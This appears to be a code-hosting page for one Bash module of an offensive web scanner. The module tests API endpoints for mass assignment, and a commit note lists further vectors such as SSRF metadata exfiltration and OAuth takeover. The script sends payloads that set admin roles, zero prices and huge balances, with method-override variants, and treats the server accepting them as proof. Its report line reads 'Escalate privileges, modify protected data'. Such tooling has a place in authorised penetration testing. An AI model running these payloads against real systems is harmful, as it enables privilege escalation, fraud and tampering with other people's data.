d2bc52905d
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
85 lines
2.9 KiB
Bash
85 lines
2.9 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 25: Mass Assignment — Modifies protected API fields
|
|
# Desc: Tests POST/PUT/PATCH endpoints for mass assignment vulns
|
|
# Severity: HIGH
|
|
# Proof: Modifies protected fields and observes change
|
|
|
|
vector_mass_assignment() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting Mass Assignment..."
|
|
|
|
# Endpoints to test
|
|
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|v1|v2|user|admin|profile|account' | head -10)
|
|
[ -z "$endpoints" ] && endpoints="$target"
|
|
|
|
# Protected fields to try modifying
|
|
local protected_fields=(
|
|
'{"isAdmin":true,"role":"admin"}'
|
|
'{"is_admin":true,"role":"admin"}'
|
|
'{"admin":true,"role":"admin"}'
|
|
'{"user_type":"admin","access_level":999}'
|
|
'{"permissions":["admin","read","write","delete"]}'
|
|
'{"role_id":1,"group_id":1}'
|
|
'{"verified":true,"email_verified":true}'
|
|
'{"is_verified":1,"status":"active"}'
|
|
'{"balance":999999,"credit":999999}'
|
|
'{"price":0,"discount":100}'
|
|
'{"subscription":"premium","plan":"enterprise"}'
|
|
'{"is_active":true,"is_locked":false}'
|
|
)
|
|
|
|
# Also test with _method override
|
|
local overrides=("" "-X PUT" "-X PATCH" "-X POST -H 'X-HTTP-Method-Override: PUT'")
|
|
|
|
for endpoint in $endpoints; do
|
|
for field in "${protected_fields[@]}"; do
|
|
for override in "${overrides[@]}"; do
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
|
$override \
|
|
-H "Content-Type: application/json" \
|
|
-d "$field" \
|
|
"$endpoint" 2>/dev/null)
|
|
|
|
# Check if the response reflects our injection (confirms mass assignment)
|
|
if echo "$response" | grep -qi '"isAdmin":true\|"role":"admin"\|"admin":true\|"premium"'; then
|
|
print_find "Mass Assignment Confirmed!" "Protected field accepted: $(echo $field | cut -c1-60)"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Mass Assignment
|
|
DETAIL: Protected field accepted by API
|
|
URL: $endpoint
|
|
PAYLOAD: $field
|
|
EVIDENCE: Server reflected modified protected field
|
|
EXPLOIT: Escalate privileges, modify protected data" > "$REPORTS_DIR/.finding_ma_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
|
|
# Also check for 200/201 vs 403/401 difference (authorization bypass)
|
|
local http_code=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
$override \
|
|
-H "Content-Type: application/json" \
|
|
-d "$field" \
|
|
"$endpoint" 2>/dev/null)
|
|
|
|
if [ "$http_code" = "200" ] || [ "$http_code" = "201" ] || [ "$http_code" = "204" ]; then
|
|
if echo "$response" | grep -qv '"error"\|"unauthorized"\|"forbidden"'; then
|
|
print_find "Potential Mass Assignment" "HTTP $http_code on $endpoint"
|
|
findings=$((findings + 1))
|
|
break 3
|
|
fi
|
|
fi
|
|
done
|
|
done
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No mass assignment found"
|
|
fi
|
|
|
|
return $findings
|
|
}
|